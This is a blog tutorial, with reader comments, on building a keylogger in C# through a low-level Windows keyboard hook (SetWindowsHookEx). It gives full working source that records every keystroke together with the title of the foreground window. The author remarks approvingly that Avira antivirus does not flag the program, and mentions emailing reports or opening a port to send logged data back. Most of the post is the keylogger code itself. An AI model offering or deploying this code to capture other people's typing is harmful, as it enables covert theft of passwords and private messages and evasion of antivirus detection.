When I saw a video tutorial for writing a simple keylogger in VB.NET, I would like to write my own one in C# because I do not like the way which the author of this video uses a timer to monitor which window is being now the foreground window. This simple keylogger bases on hooking low-level keyboard with API SetWindowsHookEx to get key input. What makes me interesting is Avira Antivirus does not recognize my keylogger as malicious software ^^. I think when I implement to send the report to email or open port to send data back to me, Avira recognizes it immediately.
The keylogger has a low-level hook keyboard engine class.
1. Introduction
LowLevelHook llhEngine = new LowLevelHook();
This class has a KeyDownChar event which will be raised each time when we press a key on the keyboard. The keylogger will subscribe this event and save key into a text box.
llhEngine.KeyDownChar += new LowLevelHook.KeyDownCharEventHandler(llhEngine_KeyDownChar); void llhEngine_KeyDownChar(uint vkCode, uint scancode) { IntPtr ipForegroundWindow = GetForegroundWindow(); int nLength = GetWindowTextLength(ipForegroundWindow); StringBuilder sbTemp = new StringBuilder("", nLength + 1); m_strPrefix = ""; GetWindowText(ipForegroundWindow, sbTemp, sbTemp.Capacity); if (m_strLast != sbTemp.ToString()) { m_strLast = sbTemp.ToString(); m_strPrefix = Environment.NewLine + m_strLast + Environment.NewLine; } txtText.Dispatcher.Invoke(new UpdateTextDel(UpdateText), m_strPrefix + ProcessInputKey(vkCode,scancode)); }
When saving the entered key, I would like to find out if the user is entering data in new window or not. Having this information, we have a chance to separate and organize our data for each application. At the code behind of hook engine, I set a hook with API SetWindowsHookEx
public LowLevelHook() { Process process = Process.GetCurrentProcess(); ProcessModule module = process.MainModule; IntPtr hModule = GetModuleHandle(module.ModuleName); KeyboardHookDel = KeyboardHookProc; m_ipKeyHookResult = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, KeyboardHookDel, hModule, 0); }
To get the handle of the current process of keylogger, maybe you think of something like this
System.Runtime.InteropServices.Marshal.GetHINSTANCE( System.Reflection.Assembly.GetExecutingAssembly.GetModules()[0])
But the code using reflection above does not work together with SetWindowsHookEx. Apply the handle got by code line above to SetWindowsHookEx will be not successful, I always get IntPtr.Zero as result of SetWindowsHookEx. The delegate KeyboardHookDel points to a function which raises KeyDownChar event and vkCode and scan code of the entered key
private IntPtr KeyboardHookProc(int code, IntPtr wParam, IntPtr lParam) { if (code >= HC_ACTION) { KBDLLHOOKSTRUCT kbhsStruct; switch (wParam.ToInt32()) { case WM_KEYDOWN: case WM_SYSKEYDOWN: kbhsStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, (new KBDLLHOOKSTRUCT()).GetType()); if (KeyDownChar != null) KeyDownChar(kbhsStruct.vkCode,kbhsStruct.scanCode); break; } } return CallNextHookEx(m_ipKeyHookResult, code, wParam, lParam); }
2. Source code
The complete source code of this simple keylogger you can download here
https://bitbucket.org/hintdesk/dotnet-hook-keyboard/
3. Updates
Update 09.11.2011
For WPF use this class below. It can also be used for Winform with some modifications.
public class KeyboardListener : IDisposable { /// <summary> /// Creates global keyboard listener. /// </summary> public KeyboardListener() { // Dispatcher thread handling the KeyDown/KeyUp events. this.dispatcher = Dispatcher.CurrentDispatcher; // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc; // Set the hook hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc); // Assign the asynchronous callback event hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync); } private Dispatcher dispatcher; /// <summary> /// Destroys global keyboard listener. /// </summary> ~KeyboardListener() { Dispose(); } /// <summary> /// Fired when any of the keys is pressed down. /// </summary> public event RawKeyEventHandler KeyDown; /// <summary> /// Fired when any of the keys is released. /// </summary> public event RawKeyEventHandler KeyUp; #region Inner workings /// <summary> /// Hook ID /// </summary> private IntPtr hookId = IntPtr.Zero; /// <summary> /// Asynchronous callback hook. /// </summary> /// <param name="character">Character</param> /// <param name="keyEvent">Keyboard event</param> /// <param name="vkCode">VKCode</param> private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character); /// <summary> /// Actual callback hook. /// /// <remarks>Calls asynchronously the asyncCallback.</remarks> /// </summary> /// <param name="nCode"></param> /// <param name="wParam"></param> /// <param name="lParam"></param> /// <returns></returns> [MethodImpl(MethodImplOptions.NoInlining)] private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam) { string chars = ""; if (nCode >= 0) if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP) { // Captures the character(s) pressed only on WM_KEYDOWN chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam), (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN)); hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null); } return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam); } /// <summary> /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. /// </summary> private KeyboardCallbackAsync hookedKeyboardCallbackAsync; /// <summary> /// Contains the hooked callback in runtime. /// </summary> private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc; /// <summary> /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. /// </summary> /// <param name="keyEvent">Keyboard event</param> /// <param name="vkCode">VKCode</param> /// <param name="character">Character as string.</param> private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character) { switch (keyEvent) { // KeyDown events case InterceptKeys.KeyEvent.WM_KEYDOWN: if (KeyDown != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character)); break; case InterceptKeys.KeyEvent.WM_SYSKEYDOWN: if (KeyDown != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character)); break; // KeyUp events case InterceptKeys.KeyEvent.WM_KEYUP: if (KeyUp != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character)); break; case InterceptKeys.KeyEvent.WM_SYSKEYUP: if (KeyUp != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character)); break; default: break; } } #endregion Inner workings #region IDisposable Members /// <summary> /// Disposes the hook. /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks> /// </summary> public void Dispose() { InterceptKeys.UnhookWindowsHookEx(hookId); } #endregion IDisposable Members } /// <summary> /// Raw KeyEvent arguments. /// </summary> public class RawKeyEventArgs : EventArgs { /// <summary> /// VKCode of the key. /// </summary> public int VKCode; /// <summary> /// WPF Key of the key. /// </summary> public Key Key; /// <summary> /// Is the hitted key system key. /// </summary> public bool IsSysKey; /// <summary> /// Convert to string. /// </summary> /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns> public override string ToString() { return Character; } /// <summary> /// Unicode character of key pressed. /// </summary> public string Character; /// <summary> /// Create raw keyevent arguments. /// </summary> /// <param name="VKCode"></param> /// <param name="isSysKey"></param> /// <param name="Character">Character</param> public RawKeyEventArgs(int VKCode, bool isSysKey, string Character) { this.VKCode = VKCode; this.IsSysKey = isSysKey; this.Character = Character; this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode); } } /// <summary> /// Raw keyevent handler. /// </summary> /// <param name="sender">sender</param> /// <param name="args">raw keyevent arguments</param> public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args); #region WINAPI Helper class /// <summary> /// Winapi Key interception helper class. /// </summary> internal static class InterceptKeys { public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam); public static int WH_KEYBOARD_LL = 13; /// <summary> /// Key event /// </summary> public enum KeyEvent : int { /// <summary> /// Key down /// </summary> WM_KEYDOWN = 256, /// <summary> /// Key up /// </summary> WM_KEYUP = 257, /// <summary> /// System key up /// </summary> WM_SYSKEYUP = 261, /// <summary> /// System key down /// </summary> WM_SYSKEYDOWN = 260 } public static IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr GetModuleHandle(string lpModuleName); #region Convert VKCode to string // Note: Sometimes single VKCode represents multiple chars, thus string. // E.g. typing "^1" (notice that when pressing 1 the both characters appear, // because of this behavior, "^" is called dead key) [DllImport("user32.dll")] private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl); [DllImport("user32.dll")] private static extern bool GetKeyboardState(byte[] lpKeyState); [DllImport("user32.dll")] private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl); [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)] private static extern IntPtr GetKeyboardLayout(uint dwLayout); [DllImport("User32.dll")] private static extern IntPtr GetForegroundWindow(); [DllImport("User32.dll")] private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); [DllImport("user32.dll")] private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); [DllImport("kernel32.dll")] private static extern uint GetCurrentThreadId(); private static uint lastVKCode = 0; private static uint lastScanCode = 0; private static byte[] lastKeyState = new byte[255]; private static bool lastIsDead = false; /// <summary> /// Convert VKCode to Unicode. /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks> /// </summary> /// <param name="VKCode">VKCode</param> /// <param name="isKeyDown">Is the key down event?</param> /// <returns>String representing single unicode character.</returns> public static string VKCodeToString(uint VKCode, bool isKeyDown) { // ToUnicodeEx needs StringBuilder, it populates that during execution. System.Text.StringBuilder sbString = new System.Text.StringBuilder(5); byte[] bKeyState = new byte[255]; bool bKeyStateStatus; bool isDead = false; // Gets the current windows window handle, threadID, processID IntPtr currentHWnd = GetForegroundWindow(); uint currentProcessID; uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID); // This programs Thread ID uint thisProgramThreadId = GetCurrentThreadId(); // Attach to active thread so we can get that keyboard state if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true)) { // Current state of the modifiers in keyboard bKeyStateStatus = GetKeyboardState(bKeyState); // Detach AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false); } else { // Could not attach, perhaps it is this process? bKeyStateStatus = GetKeyboardState(bKeyState); } // On failure we return empty string. if (!bKeyStateStatus) return ""; // Gets the layout of keyboard IntPtr HKL = GetKeyboardLayout(currentWindowThreadID); // Maps the virtual keycode uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL); // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. if (!isKeyDown) return ""; // Converts the VKCode to unicode int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL); string ret = ""; switch (relevantKeyCountInBuffer) { // Dead keys (^,`...) case -1: isDead = true; // We must clear the buffer because ToUnicodeEx messed it up, see below. ClearKeyboardBuffer(VKCode, lScanCode, HKL); break; case 0: break; // Single character in buffer case 1: ret = sbString[0].ToString(); break; // Two or more (only two of them is relevant) case 2: default: ret = sbString.ToString().Substring(0, 2); break; } // We inject the last dead key back, since ToUnicodeEx removed it. // More about this peculiar behavior see e.g: // http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html // http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx // http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx if (lastVKCode != 0 && lastIsDead) { System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5); ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL); lastVKCode = 0; return ret; } // Save these lastScanCode = lScanCode; lastVKCode = VKCode; lastIsDead = isDead; lastKeyState = (byte[])bKeyState.Clone(); return ret; } private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl) { System.Text.StringBuilder sb = new System.Text.StringBuilder(10); int rc; do { byte[] lpKeyStateNull = new Byte[255]; rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl); } while (rc < 0); } #endregion Convert VKCode to string } #endregion WINAPI Helper class
and use it like this
public partial class MainWindow : Window { KeyboardListener KListener = new KeyboardListener(); public MainWindow() { InitializeComponent(); } private void Window_Loaded(object sender, RoutedEventArgs e) { KListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown); } private void KListener_KeyDown(object sender, RawKeyEventArgs args) { //Console.WriteLine(args.Key.ToString()); //Console.WriteLine(args.ToString()); // Prints the text of pressed button, takes in account big and small letters. E.g. "Shift+a" => "A" txtText.Text += args.ToString(); } private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e) { KListener.Dispose(); } }
I just want to know how to catch arabic letters, because when i write arabic not catch them .
@Sufian: I tested with Vietnamese and it works. I am sorry that I can’t help you because I do not have an Arabic keyboard.
THANKS!
Thanks, I seeked in the internet a lot of C# open surce free keyloggers, and this was the only one that i found with full and bug free c# keylogger.
Nice example, thanks for sharing it!
Yes, this is a very nice example and it surely helps a lot. Thanks for sharing this to us.
Hello, nice work. I’m trying to implement something like that for my job but in winforms (when I try to organize a project everything is messed up and nothing works). Can you make a little example in winforms??? That will help me so much (I’m in a hurry here! XD).
Thank You.
Really nice example. But the accents stops working. Like ~~, ou ´´ when you press the key. I can’t find a solution. Can you, please?
Thanks for posting this it was extremely helpful,
I am not looking to make any malicious software but I wanted to catch keys with the program in the background so thank you.
Thank you for your very clear information and guide.
It helped me understand quite a few new things!
Keep up the great tutorials!
@Fumetsujo: You’re welcome.
the only piece of code that exaplains a solves the dreadful Ascii and ToUnicode bug with the deadkeys.
Excellent work here.
It is a great solution, but if the focus is set on the form then the text is displayed twice.
@Rocco: What do you mean by “focus is set on the form”? I don’t get it.
Nice 1
thanks a lot
I searched very hard for this
but I satisfy by only this solution
I want same for mouse keys
any solution??
@Saurabh Solanki: There is surely a solution for Mouse Hook on Internet. Let’s make a search, you’ll find it :).
How do you filter this by the process?
awesome! thank you!
It can’t work in WPF. When I type “as” mean “á” in Vietnamese, it crash and show an error “Index was outside the bound”.
// Single character in buffer
case 1:
ret = sbString[0].ToString(); <– error in this line
break;
Any solution for my situation?